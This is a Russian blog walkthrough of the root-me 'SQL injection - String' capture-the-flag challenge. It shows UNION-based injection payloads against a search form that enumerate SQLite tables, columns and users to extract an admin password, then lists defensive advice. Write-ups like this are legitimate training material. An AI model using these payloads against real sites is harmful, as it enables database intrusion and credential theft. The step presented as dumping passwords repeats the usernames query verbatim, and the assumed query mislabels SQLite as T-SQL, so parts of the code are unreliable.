Всем привет, что-то я приболел, так что самое время решить задачку на информационную безопасность web-серверов. Сегодня задачка с портала root-me.org, называется "SQL injection - String". За решение задачки дают 30 баллов, ближе к среднему уровню.

По названию становится понятно, что иметь дело придётся с SQL инъекцией. Нам предлагают достать пароль администратора.
SQL injection — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Атака осуществляется путём внедрения (инъекции) стороннего кода в SQL запрос.
В подсказках много ссылок на статьи по SQL инъекциям. При этом задание как-то связано со строкой.
Ссылки
Решение
Переходим на страницу задания:
http://challenge01.root-me.org/web-serveur/ch19/

Попадает на сайт с некоторой CMS. На домашней странице какие-то краткие новости.

Внутри новости нет ничего интересного.

Пробуем пройти на страницу логина. Здесь можно ввести логин и пароль.

Переходим на страницу поиска. Здесь можно вбить поисковую строку. Я сказал "строку"? Вероятно, это место, где мы будем искать инъекцию.

Проверю что форма работает, поищу что-нибудь. Работает, отобразилась найденная новость.
Обычный способ сделать инъекцию в SQL код — это использовать символ кавычки. Попробуем что-нибудь поискать с одинарной кавычкой, например:
'123
Бах, запрос упал в синтаксическую ошибку. Из ошибки понятно что в качестве СУБД используется SQLite 3.
Сборник невероятных и занимательных фактов о SQLite
С этим уже можно работать. Рекомендую почитать соответствующую литературу по SQL инъекциям. Манипулирую запросом можно выяснить чуточку больше.

Здесь видно правую часть участка T-SQL рядом с местом инъекции. Можно предположить, что запрос, производящий поиск, выглядит примерно так:
SELECT * FROM news
WHERE name LIKE '%' + @searchstring + '%'Если еще поиграть запросом, можно и такое увидеть:

Что-то здесь я сильно навертел. Или ресурс тормозит.
Если в поиск вставить строку:
' OR 1=1; --То получится:
SELECT * FROM news
WHERE name LIKE '%' OR 1=1; --%'Попробуем.

Запрос отработал без ошибки. Мы на верном пути. Как теперь выполнить собственный SQL запрос? Можно через UNION добавить результат запроса в выборку.
SELECT * FROM news
WHERE name LIKE '%' UNION SELECT 'internet-lab.ru'; --
Ошибка. Количество выбранных нами столбцов в UNION не совпадает с количеством столбцов основного селекта. Я выбирал только один столбец, увеличим количество до двух. Чтобы не возиться с типами данных можно использовать NULL.
SELECT * FROM news
WHERE name LIKE '%' UNION SELECT NULL,NULL; --
Успех. Двигаемся дальше. Вместо любого NULL можно вставить свой подзапрос. Нам нужно выяснить, какие таблицы имеются в БД. Мы знаем, что тип СУБД SQLite, посмотреть все таблицы можно запросом:
SELECT name
FROM sqlite_master
WHERE type = 'table';Для Postgresql можно было бы использовать запрос:
SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'public';MySQL:
SELECT TABLE_NAME
FROM information_schema.TABLES
WHERE TABLE_SCHEMA = 'your_database_name';SQL Server:
SELECT name
FROM sys.tables;
SELECT TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE';Oracle:
-- Показать все таблицы текущего пользователя
SELECT table_name
FROM user_tables;
-- Все таблицы, к которым есть доступ
SELECT table_name
FROM all_tables;Итак, у нас SQLite. Ещё мы должны все данные вывести в виде строки. В SQLite можно использовать функцию GROUP_CONCAT() для объединения имен таблиц в одну строку.
SELECT GROUP_CONCAT(name, ', ') AS all_tables
FROM sqlite_master
WHERE type = 'table';Погнали.
SELECT * FROM news
WHERE name LIKE '%' UNION SELECT (SELECT GROUP_CONCAT(name, ', ') AS all_tables FROM sqlite_master WHERE type = 'table'),NULL; --
Получили две таблицы: news и users. Посмотрим какие колонки есть в таблице users:
SELECT * FROM news
WHERE name LIKE '%' UNION SELECT (SELECT GROUP_CONCAT(name, ', ') AS all_columns FROM pragma_table_info('users')),NULL; --
Здесь: username, password и Year.
Теперь можем посмотреть всех пользователей.
SELECT * FROM news
WHERE name LIKE '%' UNION SELECT (SELECT GROUP_CONCAT(username, ', ') AS all_usernames FROM users),NULL; --
В базе user1, user2 и admin. Вот он-то нам и нужен. Посмотрим все пароли:
SELECT * FROM news
WHERE name LIKE '%' UNION SELECT (SELECT GROUP_CONCAT(username, ', ') AS all_usernames FROM users),NULL; --И получаем пароль от пользователя admin.

Пробуем залогиниться.

Успешно. Пароль и есть флаг. Валидируем.

Флаг подходит, зарабатываем 30 очков.
Безопасность
- Защищайтесь от SQL инъекций. Одним из хороших способов является использование "параметризированных запросов".
- Не используйте стандартные логины.
- Не храните пароль в БД в открытом виде.
- Используйте сложный пароль.
- Защищайте поля формы от инъекций.
- Используйте WAF.
